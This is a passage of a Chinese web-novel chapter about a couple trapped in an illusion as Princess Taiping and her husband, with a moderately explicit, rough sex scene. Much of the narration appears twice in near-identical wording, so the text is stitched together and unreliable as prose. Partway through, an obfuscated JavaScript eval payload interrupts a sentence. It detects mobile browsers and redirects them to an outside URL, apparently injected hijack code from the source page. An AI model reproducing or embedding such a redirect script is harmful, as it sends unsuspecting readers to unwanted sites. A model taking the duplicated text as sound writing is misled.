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他一边说着自己都觉拗口的温存话语,一边感受着怀中这具真实的、属于妻子杨排风、却呈现着截然不同青春面貌的身体曲线。那熟悉的轮廓与此刻陌生的饱满柔软交织在一起,让他心如乱麻,呼吸不由沉重了几分。这亲近并非全然是戏,多年夫妻,自有深入骨髓的默契与难以割舍的情愫,可在这诡异幻境中,在那可能无处不在的“目光”注视下,每一分亲昵都如同在万丈悬崖的丝线上起舞,旖旎温存之中,弥漫着令人窒息的危险与背叛感——背叛了那个真实的、会为他洗衣做饭、与他并肩作战的杨排风,也背叛了自己此刻面对“年轻妻子”时那份混杂着爱恋、欲望与罪恶感的复杂心境。 烛花“啪”地一声爆裂,光影剧烈摇曳。那柄华丽的孔雀羽扇悄然从她松脱的指间滑落,无声地跌落在厚厚的茸毛毯上。鲛绡帐幔被带起的微风拂动,层层叠叠,光影迷离。他的手指带着薄茧,有些粗粝,穿过她如云般散落的青丝,抚上那截雪白柔腻的后颈。指腹之下,那点朱砂咒印的微凸触感,如一枚烧红的冰刺,瞬间惊醒了几分意乱情迷。她的回应热烈而大胆,手臂环上他的脖颈,主动仰首迎合,属于盛唐公主的奔放热情与他所熟悉的、排风在情动时的温存羞涩奇异而矛盾地交融在一起。衣带渐松,呼吸交错,空气炙热得仿佛一点即燃,甜腻的暖香与情动的气息弥漫开来。 正当刘皓南被这熟悉又陌生的热情包裹,那份属于成熟男子对年轻娇妻的、被道德感压抑的吸引力与随之而来的罪恶感激烈交战,几乎要沉溺于这温柔陷阱,暂时忘却周遭诡异,脑海中最后一丝清明却警铃大作——那幕后的“看客”,那颈后的诡异咒印,这整个精心编织的幻境谜团……是顺势而为,真正成就夫妻之实,或许能暂稳局势,甚至……或许能触动那咒印?还是该悬崖勒马,避免更深的羁绊与可能无法控制的后果? “父亲!母亲!” 一声清亮中带着明显急促、甚至有一丝不易察觉的慌乱与窘迫的童音,伴随着略显莽撞踉跄的脚步声,猛地刺破了寝殿内氤氲燥热的氛围,如同一块巨石投入沸水之中。 刘皓南与杨排风(太平公主)的身形同时一僵,所有动作瞬间定格。 紧接着,内殿的门帘被一只因为紧张而有些汗湿的小手猛地掀开!刘朔出现在门口。他身着一套锦绣童子服,衣料华贵,剪裁合身,在幻境规则下,这身衣服穿在他身上本是“恰到好处”的六岁孩童装扮。然而,在刘朔自己那十五岁少年心智的感知里,这衣服处处紧绷短小,行动拘束;在刘皓南眼中,看到的是一个身量已显、面容介于孩童与少年之间的儿子,却套着一身无比稚气、绣着憨态可掬小兽图案的童装,那画面充满了一种令人窒息的荒诞与别扭感。他因急速奔跑而脸颊泛红,额角沁出细汗。目光几乎是仓惶地、飞快地扫过室内:父亲衣衫不整,襟口大敞;母亲云鬓散乱,那件薄如蝉翼的鲛绡纱袍滑落肩头,露出大片雪白肌肤和鲜红肚兜的系带,空气中弥漫着未散的、令人面红耳赤的暖昧气息。一切昭然若揭,不言而喻。 刘朔的脸“腾”地一下,瞬间涨得通红,一直红到耳根脖颈,几乎要滴出血来。他虽年仅十五,对男女之事尚处朦胧认知、一知半解的阶段,但眼前这旖旎凌乱的景象意味着什么,他心下已然雪亮。更有一重难以言喻的、几乎要将他淹没的尴尬与羞耻:眼前这位云鬓散乱、衣不蔽体的“母亲”,实则是他心智受迷的亲生母亲!撞破父母亲密,已是窘迫到无地自容;而幻境强加给他的这“六岁幼子”身份以及这身可笑的童装,更让他此刻的闯入显得无比突兀、怪异,且带着一种荒诞的羞耻感——他感觉自己像个误闯禁地的、穿着滑稽戏服的、笨拙的傻子。尤其看到父亲与年轻了十几岁的母亲近乎赤裸地纠缠,那种“父亲在占年轻状态母亲便宜”的古怪念头不受控制地冒出来,让他既尴尬又有点莫名的恼火。 他猛地低下头,眼睛死死盯住自己那双绣着虎头、在十五岁少年脚上显得无比可笑的小小靴尖,双手紧张地、无意识地揪着那身在他感觉中紧绷绷、无比幼稚的童子衣袍下摆。他语速极快,声音因紧张而有些变调,带着刻意拔高的、努力模仿幼童的腔调,试图掩盖声音里那份属于少年人的窘迫与不自然:“父、父亲!母亲!不好了!祖、祖父他……他突然说心口疼,气息不顺,面色都白了!已、已派人去请太医了!女儿……儿子心中害怕得很,特、特来禀报!” 他慌乱中甚至口误,将“儿子”说成“女儿”,愈发显得手足无措,眼神飘忽,完全不敢再往父母那边瞟一眼,心底却在哀嚎兼腹诽:老爹啊老爹!你这、你这算怎么回事!就算这是幻境,就算娘亲看起来年轻了好多……你这、这进展是不是也太快了点?!而且……而且娘亲现在看起来这么……你、你简直……我到底该不该这时候闯进来啊! 这突如其来的打断,如一盆掺杂着冰碴的冷水,自刘皓南头顶狠狠浇下,瞬间熄灭了他体内刚刚燃起的、混杂着情欲与罪恶感的火焰,也浇醒了他险些沉沦的理智。他几乎是本能地、带着一丝狼狈和被人撞破“好事”(尤其是被儿子撞见与“年轻”妻子亲热)的尴尬,松开了揽着妻子的手臂,下意识地侧身,飞快地整理自己凌乱敞开的衣襟,指尖甚至因为心绪剧烈波动而微微发颤。看到儿子穿着那身可笑的童装,一脸通红、眼神躲闪地站在门口,刘皓南心中那点刚刚升起的、对年轻版妻子的悸动,瞬间被更强烈的荒诞感和为人父的窘迫所取代。杨排风(太平公主)也是一声短促的低呼,猛地拉拢滑落的纱袍,勉强掩住春光,脸上情动的红潮未退,又添上了被撞破的羞恼与尴尬,急忙伸手去抿鬓边散乱的发丝,眼神闪烁游移,不敢直视突然闯进的“儿子”,娇叱道:“朔儿!怎、怎可如此莽撞!还不退下!” 寝殿内,方才的暖昧燥热顿消,只剩下一种几乎凝滞的、难以言喻的尴尬在弥漫。烛火静静燃烧,更漏声滴答,清晰可闻。刘皓南心中五味杂陈,恼火这“儿子”来得不是时候,可能打断了关键进展或引人生疑;尴尬于被儿子(即便是少年心性、却穿着童装的儿子)撞见如此场面;担忧“薛父”的突发状况是幻境新变数;而心底深处,却又隐隐有一丝得以从方才那进退维谷、理智与情感剧烈撕扯、道德与欲望激烈交锋的境地中暂时解脱的、说不清道不明的庆幸。而刘朔则垂着头,盯着自己那可笑的虎头鞋尖,恨不能找个地缝钻进去,心中七上八下,既懊恼自己可能坏了父亲的计划,又对眼前这远超他年龄应有应对能力的、极度尴尬的场面感到无所适从,脸上火烧火燎,只觉得那身童装更加勒得他喘不过气。 一场箭在弦上、被迫上演的春宵缱绻,就此戛然中止于这无比窘迫、荒诞又带着家庭伦理尴尬的“意外”插曲之中。接下来的戏,该如何唱下去?那“薛父”的突发急症,是幻境的自然演绎,还是又一重考验或陷阱? 45. 凌霄子的风流计和香艳解咒法 太平公主府寝殿内,刘皓南被儿子刘朔的闯入打断了旖旎,心头正自恼火,却见少年那强作镇定、眼含急智的模样,瞬间了悟——这小子是来解围的!他心思电转,暗赞儿子机灵,面上却不露分毫,思绪飞转,几乎瞬间便进入了“薛绍”的角色。 他顺势揽住太平公主因惊疑而微微发颤的肩头,那触感温软,却让他心弦绷紧。他努力回忆着昔年在辽国宫廷短暂见闻中,那些尚了公主的贵戚们应对妻子时的模样——姿态需恭敬,因她是君;言语需体贴,因她是妻;动作需沉稳而果断,因此刻他是“家主”。他深吸一口气,将嗓音压得沉稳,却让每个字都透出恰到好处的急切:“公主莫慌!父亲素来康健,许是今日宴饮高兴,多用了些酒食,一时不适。你且在此安坐,宽心静待,切勿因忧思动了心神,反倒不美。” 说着,他转身作势欲行,靴底刚触及冰凉的金砖,又似忽然想起什么至关重要的事,蓦地回身。烛光在他侧脸投下深邃的阴影,他深深看了她一眼,目光在她微乱的云鬓与未整的纱袍上停留一瞬,随即迅速移开,仿佛怕唐突,却又带着不容置疑的关切,压低声音道:“更深露重,你穿得单薄,先披件衣裳,仔细着凉。待为夫探明情形,即刻便回。” 太平面上的红潮与迷离迅速褪去,属于帝国公主的镇定与威仪重新回到她的眉眼之间。她并未多言,只随手探向枕边那个精巧的嵌宝鎏金妆奁,指尖一勾,取出一物,不由分说塞入刘皓南微湿的掌心。 那是一枚触手温润生凉的玉牌,质地上乘,在烛火下流转着内敛的油脂光泽。不过巴掌大小,正面以极高超的游丝毛雕技法,刻着一只展翅翔凤,凤尾迤逦,缠绕着繁复的缠枝牡丹;翻转过来,背面竟隐现五爪龙纹的暗迹,拱卫着一个铁画银钩的“敕”字。这绝非普通府邸信物,分明是内廷特赐、代表极高权柄与恩宠的符信! “薛郎,”她声音已恢复清越,只尾音残留一丝不易察觉的沙哑,“若公爹情状果真急迫,不必拘于常例,徒然耽搁。持我令牌,可直驱太医署,无论何时,召院正即刻前来,无人敢阻,亦无人敢问。” 刘皓南指尖收拢,玉牌的棱角硌着掌心,那冰凉坚硬的触感与其中蕴含的无上权力,让他心头凛然。此物规制、纹样、气韵,乃至这“直驱太医署、召院正”的特权,都精准复刻了盛唐鼎盛时期,一位极受宠公主所能拥有的真实威势。幻境对宫廷典章制度、权力运行的细节还原,竟已真实恐怖到如此地步!那幕后布局者,究竟是何等人物,能对此了如指掌、洞若观火? 待父子二人匆匆行至凌霄子日常起居的东暖阁,推开那扇紫榆木门,想象中的慌乱景象全无。本该“突发急症”的薛怀昱(凌霄子),正毫无形象地歪躺在一张铺着西域绒毯的胡床上,翘着腿,手里捧着一盏邢窑白瓷茶瓯,啜饮得啧啧有声,好不惬意。 “别瞅啦,皓南!”凌霄子眼皮一撩,瞥见刘皓南那副混合着“果然如此”和隐隐怒气的神情,撇了撇嘴,脸上堆起一个十足欠揍又了然的笑容,“这鬼地方,除了咱们四个大活人,连只会正经打鸣报晓的病猫都找不出半只!”他指尖有一下没一下地叩着身旁的鸡翅木小几,发出笃笃的轻响。 他挥挥手,像赶苍蝇似的对刘朔道:“徒儿,去,外头廊下守着,机灵点。”刘朔撇撇嘴,一副“又让我放风”的表情,但还是听话地退了出去,顺手带上了门。 门扉刚一合拢,凌霄子脸上那点装模作样的“病容”瞬间消失,小眼睛眯成两条缝,对着刘皓南露出一个混合着八卦、戏谑与某种“你小子终于来了”的猥琐笑容。 “嘿嘿嘿…乖师侄,来来来,师叔给你看个宝贝。”他变戏法般从自己那身宽大的深紫色圆领袍怀里,掏出一本以淡金色云纹绢帛精心装帧的册子,不由分说塞到刘皓南手里。 那册子封面素净无字,只在正中以极细的金丝线,绣着一对衣带飘飞、姿态曼妙妖娆、正亲密交颈的飞天。册子触手异常温润光滑,仿佛时常被人摩挲,还带着一股似兰非兰、似麝非麝、隐隐撩人的暖香。刘皓南只瞥了一眼那缠绵的飞天图案,脸上“腾”地一下涨得通红,如同被滚水烫到,差点直接把这烫手山芋扔出去。 “师叔!你…你……”他气得话都说不利索,指尖捏着那绢帛边缘,仿佛捏着烧红的炭,“你怎可随身携带此等…此等不堪之物!” “呸!谁说是老夫我的!”凌霄子脖子一梗,瞪圆了眼睛,理直气壮得仿佛在陈述天地至理,“这是老夫刚掉进这鬼地方,摸清门道后,从公主寝殿角落里那口上了三把黄铜大锁的紫檀木顶箱柜最底层,‘请’出来的!好家伙,那么大一口箱子,塞得满满当当,全是这类‘典籍’!我翻了个底朝天,就数你手上这本,图文并茂之余,还算是其中‘最新编纂、最为入门、也最是保守’的了!其他的那些……”他咂咂嘴,摇着头,脸上露出一种混合着惊叹与“不堪入目”的复杂表情,“嘿嘿,那场面、那花样……师叔我这般走南闯北、见多识广的,瞅了都觉着眼晕心跳,老脸发热,更不好意思拿出来污你这正人君子的眼了!” 他见刘皓南仍是满脸抗拒与难以置信,甚至带着几分被羞辱的怒意,便收起大半戏谑,凑近些,压低声音,神色是罕见的严肃,挤眉弄眼道:“皓南,你醒醒罢!你可知你此刻面对的是太平公主!她生于帝王家,见识过极致繁华,寻常的相敬如宾,在她眼中只怕寡淡无趣。史书斑斑,前朝公主们行事往往出格,所求的并非仅是礼法内的温存。你若一味固守‘发乎情,止乎礼’的作派,只怕难以维系这‘薛绍’的角色。当务之急,是让她觉着你有新鲜趣味,而非刻板无趣。” 他重重一拍刘皓南的肩膀,力道不轻,语气半是警示,半是“怒其不争”:“你再想想,高阳公主与辩机和尚,闹得天下皆知;安乐公主的荒淫,史书不惜笔墨;便是你屋里这位太平公主,后来可是能给自己亲娘、那位女皇陛下进献男宠的厉害角色!你那些从故纸堆里、从宋人礼法中学来的,讲究什么‘发乎情,止乎礼’、什么‘端庄持重’的古板作派,在这等被天下至珍供养、被无边权势浸润、尝过见过极致繁华与欢愉的公主眼里,算个什么?怕是连清粥小菜都算不上,寡淡无味,徒惹人烦!” “一个伺候不周,让她觉着无趣、乏味、甚至……瞧你不上,”凌霄子盯着刘皓南瞬间苍白的脸,一字一顿,“你这‘薛绍’的戏还怎么唱?戏台子塌了,排风怎么办?你我怎么办?那幕后盯着咱们的‘东西’,可会满意?” 刘皓南握着那本散发着暖香的绢册,指尖冰凉,掌心却沁出冷汗。师叔的话语虽粗鄙夸张,却如重锤,一下下砸碎他固有的认知框架。他想起方才寝殿中“太平公主”那大胆炽热、近乎跋扈的挑逗,与排风本性中的飒爽刚烈既相似又截然不同;更想起那冰冷声音的威胁——“公主开心快活,你们夫妻情浓似海”。难道“情浓似海”,在这幻境赋予的“太平公主”认知里,并非简单的夫妻恩爱,而是需要……不断突破常规、极尽欢愉的刺激? “当务之急,”凌霄子看他眼神震动,知他已听进去,放缓了语气,却依旧犀利,“是赶紧把眼前这关糊弄过去,别让她起疑,也别冷了场子,真恼了她。之后嘛……”他眼神意有所指地瞟了瞟那本金线飞天册子,“你脑子活,武功好,身子骨也结实……不妨,因地制宜,变通变通?总得让她觉着,你这‘薛绍’,与往常有些不同,有些……让她意想不到才是。” 刘皓南携着那本异香扑鼻的册子返回寝殿,心神不宁如怀揣炭火。面对公主关切的询问,他强自镇定,依着与师叔串好的说辞温言安抚,只道父亲是宴席间多饮了几杯性烈的三勒浆,又用了些冷热交杂的菜肴,一时脾胃不和,气息略滞,已服了太医署特制的导滞安中汤,眼下气息平顺,沉沉睡下了,并无大碍。 见她神色稍缓,蹙起的眉头微微舒展,他心念急转,想起师叔那句“变通”,又瞥见窗外澄澈的月色,一个念头冒了出来。他眼中流露出一丝属于年轻丈夫的、带着些许“神秘”与邀约的笑意,压低声音道:“我方才匆匆往返,路过西苑,见那‘揽月轩’四周竹影森森,映着这满月清辉,景致幽绝,与这寝殿的沉闷迥异。月色正好,不若……你我移步彼处,散散心,也换换心境?” 他自有计较:西苑偏远,仆从稀少,若真有那双无处不在的“眼睛”,或许也能避开些许。 太平闻言,美眸微亮,似是这提议新奇,正合她此刻不愿就寝、又不想枯坐的心境,便颔首应允。 揽月轩果然清幽,轩外湘妃竹成林,夜风过处,声如碎玉。月光毫无阻碍地透过疏朗的直棂窗,在轩内光洁的桐油地板上投下摇曳婆娑的竹影,恍如积水空明。环境陡然从奢华密闭的寝殿,变为自然幽僻的竹轩,这种转换本身便带来一种隐秘的刺激与不安。 竹影摇曳,月华如水。或许是环境的催化,或许是连日来紧绷的心弦在此刻断裂,刘皓南的拥抱失去了往日的克制,带上了不容分说的力道。太平在他怀中微微一怔,随即眼底掠过一丝了然而新奇的光芒,更深地偎依过去。 这一夜,清风朗月见证了揽月轩内不同于以往的缱绻。刘皓南仿佛抛却了所有顾忌,举动间是薛绍绝不会有的、属于战场与草原的野性与强势。太平起初尚能回应,渐渐便只能在他带来的、近乎掠夺般的激情中沉浮,直至力竭。 天光微熹时,一切方歇。太平已倦极睡去,云鬓散乱,颊边犹带红潮。刘皓南为她整理衣衫时,才惊觉她肩颈处留下了几处明显的红痕,襦裙的系带也已松脱。他心中百味杂陈,这失控的一夜,却似乎歪打正着。 晨光初透,太平已沉沉睡去,眉宇间带着罕见的慵懒与倦意。刘皓南正欲为她整理仪容,目光不经意扫过她后颈——心下顿时骇然!那点鲜艳的朱砂咒印,颜色竟肉眼可见地淡褪了一层! 一股明悟混杂着惊悚的寒流窜遍他全身。这咒印的变化,并非源于简单的肌肤之亲,而是因为……昨夜那番打破常规的“狂放”,竟阴差阳错地,让这幻境中的“太平公主”获得了超乎寻常的满足? 师叔那番粗鄙却犀利的“点拨”,竟歪打正着?而他昨夜未经任何设计、全凭本能与激荡心绪驱使的“失控”,竟阴差阳错地,触碰到了这诡异幻境“通关”要求的某个关键? 晨光渐亮,竹影消退。刘皓南望着怀中沉沉睡去、眉宇间犹带放纵后甜美倦意的妻子。掌心似乎还残留着那本绢册诡异的暖香,心头一片冰火交织的混乱。前路凶险未卜,而这“取悦公主”的戏码,其真正的规则与深意,正在他眼前,缓缓撕开一角狰狞而香艳的面纱。师叔的理论,似乎……并非全无道理。而这“道理”背后所指向的,让他不寒而栗。 晨光愈亮,刘皓南望怀中的妻子,又瞥见她身上那些触目惊心的痕迹,心重重一沉。此地不宜久留。他迅速整理好自身衣袍,用那件破碎不堪的鲛绡纱袍将她粗糙裹紧,避免春光外泄。随即,他俯身将她稳稳抱起,提气纵身,如青烟般掠出揽月轩,踏竹梢、点屋檐,悄无声息潜回寝殿。 室内,他打来温水,极轻柔地为她拭去痕迹,尤其是颈侧齿印、腕间指痕。见她纤细脚踝上不知何时磕出的淡淡青紫,肩胛处被他失控力道捏出的红痕,心头猛地一缩,涌起混杂着懊悔、心疼与惊悸的情绪。他昨夜……竟如此失控?而这失控,竟阴差阳错对了路? 窗外仆役脚步声渐起。刘皓南守候榻边,掌心似还残留那绢册异香与昨夜失控的触感。下一次,若他“精心设计”,是否还能如此“顺利”?这“扮演”之路,凶险莫测。 夜已深,风灯在廊下投出昏黄摇曳的光圈,将回廊的暗影拉得细长,仿佛择人而噬的静默兽口。刘皓南怀揣着那本以淡金云纹绫绢装帧、异香扑鼻的《月下品花》秘戏图册,踏着青石地面往寝殿回返,只觉那册子不是轻软绢帛,而是一块烧得通红的炭,或是一方千钧重、且不断散逸出暖昧热力的烙铁,紧贴着他胸前的肌肤,烫得他心神不宁,步履虚浮。凌霄子那番混不吝却又犀利如刀的话语,反复在他脑海中轰鸣,与眼前这雕梁画栋、富贵逼人却又虚幻莫名的公主府交织在一起,让他呼吸都带着灼痛。 寝殿内,烛火依旧通明。太平公主并未就寝,只披了件银红色绣金凤穿牡丹纹的广袖长袍,斜倚在窗边的紫檀木贵妃榻上,手中无意识地拨弄着一串伽楠香木念珠,目光落在窗外沉沉的夜色里,眉宇间笼着一层淡淡的、挥之不去的郁色与不易察觉的疲惫。见他回来,她立刻转过头,美眸中关切与询问之意毫不掩饰:“如何?公爹可安好?” 刘皓南强迫自己定下心神,脸上迅速调整出属于“薛绍”的、带着安抚与沉稳的神情。他走到榻边,依着与凌霄子串好的说辞,温言道:“公主宽心,父亲并无大碍。太医署的秦院正亲自来看过,道是今日麟德殿宴饮,父亲心中喜悦,多饮了几盏性烈的三勒浆,席间又用了些冷热交杂、不易克化的肴馔,一时脾胃不和,气息略有些滞涩。已服了太医署特制的导滞安中汤,气息已然平顺,此刻睡得沉了。秦院正说,好生将养一两日便无妨。” 他语气平稳,措辞妥帖,既说明了“病情”,又点出了是“宴饮高兴”所致,消解了可能的隐忧,更抬出太医署院正的名头增加了可信度。果然,太平公主闻言,紧蹙的秀眉微微舒展,紧绷的肩颈线条也柔和了些许,轻轻吁出一口气:“如此便好。公爹年事渐高,饮食是该仔细些。” 语气中是放下了心的松懈,但眼底那层挥之不去的阴翳并未完全散开,显然白日宴席上永亲王家宜都郡主那不知天高地厚的冲撞,依旧如一根细刺,梗在她心头。 见她神色稍缓,刘皓南心念急转。凌霄子那句“变通”在耳边回响,怀中那烫人的册子似乎也提醒着他什么。他目光掠过她略显倦怠却依旧明艳的侧脸,又瞥向窗外——今夜恰逢望日,一轮皎洁的满月高悬中天,清辉如水银泻地,将庭院照得澄澈明亮。一个念头蓦地窜出,带着孤注一掷的试探,也带着一丝连他自己也未曾完全明晰的、属于年轻丈夫的邀约冲动。 他眼中流露出一丝恰到好处的、带着些许“神秘”与温柔笑意的光芒,那是薛绍可能会有的、在夫妻私密时刻的提议神情。他倾身向前,压低声音,语速不疾不徐,却带着一种能撩动人心的韵律:“我方才匆匆往返,路过西苑,见那‘揽月轩’四周湘妃竹影森森,映着这满月清辉,景致幽绝清冷,与这寝殿的暖融沉闷迥然不同。如此良辰美景,岂可辜负?月色正好,不若……你我移步彼处,散散心,也换换心境?” 他自有计较:西苑偏远,靠近府邸边缘,平日除了洒扫仆役,少有人至。若这幻境之中,真有那双无处不在、监控着一切的“眼睛”,或许在那样清冷僻静、更接近自然而非人工雕琢奢华之处,能避开些许,获得一丝喘息的缝隙,也更方便他进行某些……“试探”。 太平公主闻言,美眸倏然一亮,如同被投入石子的静潭,漾开一圈涟漪。这提议的新奇,正合了她此刻因白日郁气积结、不愿早早安寝、又不想枯坐殿中面对奢华却沉闷摆设的心境。她几乎未作犹豫,便颔首应允,语气中带上了一丝难得的轻快与期待:“揽月轩?甚好。本宫也有些日子未去那里了。薛郎有心。” 揽月轩果然清幽如其名。它独立于西苑一隅,被一片茂密的湘妃竹环绕,只一条以白色卵石铺就的曲径通幽。轩乃竹木结构,小巧玲珑,陈设简朴,与主殿区的金碧辉煌截然不同。夜风过处,竹叶沙沙,声如碎玉相击,清越动人。月光毫无阻碍地透过疏朗的直棂窗,在轩内光洁的、刷了桐油的木地板上投下摇曳婆娑、黑白分明的竹影,恍如积水空明,藻荇交横。空气中弥漫着竹叶的清香与夜露的湿润,沁人心脾。 从奢华密闭、暖香氤氲的寝殿,骤然来到这自然幽僻、清冷开阔的竹轩,环境的陡然转换本身,便像 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17185073|196997||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一剂强烈的催化剂,剥离了层层身份与礼法的束缚,带来一种隐秘的、令人心跳加速的刺激与不安。仿佛从精心编织的锦绣牢笼,暂时踏入了一片无人监管的野地。 竹影在窗外、在地上摇曳,月光如水,静静流淌在两人身上。或许是这清冷月色的催化,或许是连日来身处诡异幻境、扮演他人、如履薄冰的紧绷心弦,在这无人窥见的私密角落骤然断裂,也或许是怀中那本册子所代表的、赤裸裸的“任务”与凌霄子直白的话语,击碎了他最后一丝刻意维持的、属于“薛绍”的温文克制。 刘皓南的拥抱,失去了往日的温和与循序渐进,带着一种近乎蛮横的、不容分说的力道,将她牢牢禁锢在怀中。那不是风流驸马的调情,而是属于契丹草原的武士、属于历经沙场与朝堂风云的刘皓南,在压抑许久后,一种近乎本能的、带着掠夺意味的强势。他的气息滚烫,唇舌的侵夺也少了平日的温存技巧,多了几分直接与贪婪,仿佛要将这些时日的困惑、不安、被迫扮演的憋闷,都通过这个吻宣泄出来。 太平在他怀中明显地微微一怔,那双总是含着威仪或妩媚的眸子瞬间睁大,闪过一丝错愕。然而,那错愕并未持续太久,随即,眼底便掠过一抹了然而又新奇的光芒,如同平静的湖面被投入一颗火种,骤然燃起一簇更炽烈的火焰。她非但没有推拒,反而更深地偎依过去,手臂环上他的脖颈,指尖无意识地嵌入他肩背的衣料,以一种与平日的矜持高傲截然不同的、近乎野性的热情回应着他。或许,在这熟悉的丈夫身躯里,她感受到了一丝陌生的、更加强悍而直接的力量,这陌生感非但没有让她退却,反而激起了她骨子里属于太平公主的、对刺激与征服的隐秘渴望。 这一夜,清风朗月,竹影婆娑,见证了揽月轩内一场截然不同、近乎狂风暴雨的缱绻。刘皓南仿佛彻底抛却了所有顾忌,抛却了“薛绍”这个身份应有的风流蕴藉、体贴入微。他的举动间,是薛绍绝不会有的、属于辽国草原的野性,属于战场生死搏杀间的悍勇,属于一个三十八岁、身心成熟且长期压抑自我的男人,在特定情境下被点燃的、近乎毁灭与重建般的激烈。他不再是那个被礼法、被身份束缚的驸马,而更像一个在属于自己的领地上,肆意索取的君王,或是搏命的战士。 太平起初尚能跟上他的节奏,甚至以她惯有的、带着些许掌控欲的热情回应。但渐渐地,在那近乎掠夺般的、毫无保留的激情浪潮中,她所有的技巧与从容都被冲刷得七零八落,只能在他带来的、一波强过一波的剧烈冲击中沉浮、失守,直至最后一丝力气都被抽干,化作细碎的呜咽与无意识的迎合,彻底沉溺于这片由他主导的、陌生而狂野的怒海。 天光微熹,月影西斜,竹声渐息时,一切方歇。太平已倦极睡去,云鬓散乱铺陈在简陋的竹席上,几缕被汗湿的乌发黏在潮红未褪的颊边与颈侧,长睫低垂,呼吸清浅,唇瓣微肿,眉宇间是酣畅淋漓后极致的慵懒与倦意,竟透出一种平日里罕见的、毫无防备的娇柔。刘皓南撑起身,借着透入轩内的第一缕晨光,想为她整理一下凌乱不堪的衣衫,目光触及她肩颈、锁骨乃至胸口那些自己留下的、堪称触目惊心的红痕与淡淡齿印时,心头猛地一震,百味杂陈。 这失控的、近乎放纵的一夜,与他平日扮演的薛绍大相径庭。然而,看着怀中人那满足到近乎虚脱的沉睡容颜,一个荒谬却又隐隐契合凌霄子理论的念头浮上心头:这失控,或许……竟歪打正着了? 晨光渐亮,竹影消退,天光彻底透入轩中。太平依旧沉沉睡去,眉宇间那抹放纵后的甜美倦意挥之不去。刘皓南正欲动作,目光却在不经意间,扫过她微微侧卧、露出的后颈肌肤——那一点鲜艳欲滴、象征杨排风意识或某种禁锢的朱砂咒印,其颜色,竟肉眼可见地淡褪了一层!虽然并未消失,但比起昨日的殷红如血,此刻显然黯淡了不少! 一股混杂着明悟与惊悚的寒流,瞬间窜遍他全身,令他四肢冰凉。这咒印的变化,绝非源于寻常的肌肤之亲或鱼水之欢。薛绍与太平是多年夫妻,若寻常亲热便能削弱咒印,何须等到今日?唯一的解释是,昨夜他那番打破常规、近乎“野蛮”的、彻底释放了刘皓南本性而非薛绍模式的“狂放”,竟阴差阳错地,极大地满足了这幻境中“太平公主”的某些深层欲求或期待,从而产生了某种“契合”,进而影响了咒印? 凌霄子那番粗鄙却犀利的“点拨”,关于“满足”、“趣味”、“不让她瞧不上”的言论,竟并非全是猥琐的调侃,而是歪打正着,点破了这诡异幻境某种残酷的运行规则?而他昨夜那未经任何设计、全凭胸中郁结与瞬间本能驱使的“失控”,竟在无意间,触碰到了“通关”这幻境的某个关键开关?这“取悦公主”,并非字面意义上的温柔小意,而是要触及她更深层的、或许连她自己都未必清晰意识的渴求? 晨光愈发明亮,竹影完全消退。刘皓南望着怀中沉沉睡去、眉宇间犹带着放纵后甜美与脆弱倦意的“妻子”,心头一片冰火交织的混乱。掌心似乎还残留着那本绢册诡异的暖香,与昨夜失控的、滚烫的触感交织在一起。前路凶险未卜,而这“取悦公主”、扮演好“薛绍”的戏码,其下隐藏的真正规则与深意,正在他眼前,缓缓撕开一角狰狞而香艳、令人不寒而栗的面纱。师叔的理论,似乎……并非全无道理。而这“道理”背后所指向的、关于欲望、满足与生存的赤裸关联,让他心底发寒。 目光再次落到太平身上,那些在晨光下愈发清晰的痕迹——颈侧鲜明的齿印、手腕上被他失控力道攥出的红痕、肩胛处明显的指印、甚至纤细脚踝上不知何时在激烈中磕碰出的淡淡青紫——无一不在提醒着他昨夜的疯狂。刘皓南心头重重一沉,懊悔、心疼、后怕与一种更深沉的惊悸交织翻涌。他昨夜……竟如此失控,近乎粗暴。而这失控带来的结果,竟是咒印的淡化? 此地不宜久留。揽月轩虽僻静,但天色已亮,随时可能有仆役前来洒扫。他迅速收敛心神,整理好自身略显凌乱的衣袍,然后将那件早已在昨夜癫狂中被撕扯得破碎不堪、勉强蔽体的鲛绡纱袍,粗糙而仔细地裹紧在她身上,尽力遮掩那些暧昧的痕迹与乍泄的春光。随即,他俯身,将她稳稳抱起。怀中身躯柔软温热,带着事后的疲惫与依赖,全然信赖地偎在他胸前。刘皓南深吸一口气,提气纵身,不再掩饰轻功,身形如一道淡青色的烟,悄无声息地掠出揽月轩,足尖在沾满晨露的竹梢上轻轻一点,借力腾挪,避开可能早起仆役的视线,踏着屋脊檐角,几个起落,便潜回了依旧静谧的寝殿。 将她轻柔置于铺设华丽的寝榻之上,刘皓南快步去侧间打来温水,浸湿柔软的丝帕,极尽轻柔地为她擦拭身体,尤其是颈侧那明显的齿印、手腕间的红痕。温热的水拂过那些痕迹,他的动作小心翼翼,仿佛对待易碎的珍宝。然而,当看到她纤细脚踝上那不知何时在竹席或轩柱上磕碰出的淡淡青紫,肩胛骨附近被他失控力道捏出的、已然泛出淤血的指痕时,心头猛地一缩,那股混杂着懊悔、尖锐的心疼与更深沉惊悸的情绪再次汹涌袭来。他昨夜……竟如此失控,近乎野兽?而这失控带来的、咒印淡化的“成果”,竟是用她的些许痛楚与自己的“本性暴露”换来的? 窗外,仆役轻微而规律的脚步声渐渐响起,打破了黎明最后的寂静。寝殿内,熏香袅袅,奢华依旧。刘皓南静静守候在榻边,望着太平沉睡中依旧微蹙的眉心和残留红晕的脸颊。掌心似乎还残留着那本绢册诡异的暖香,与昨夜失控时触及她肌肤的滚烫触感,两种温度交织,灼烧着他的神经。 下一次呢?若他不再是“失控”,而是“精心设计”,试图再次“取悦”她,以期进一步淡化咒印,是否还能如此“顺利”?这“扮演”之路,每一步都踩在欲望与理智、自我与本能的钢丝之上,其下的深渊,是彻底的迷失,还是狰狞的真相?他无从知晓,只感到一股沉重的、令人窒息的压力,伴随着窗外愈发明亮的天光,沉沉压下。 46. 不及格 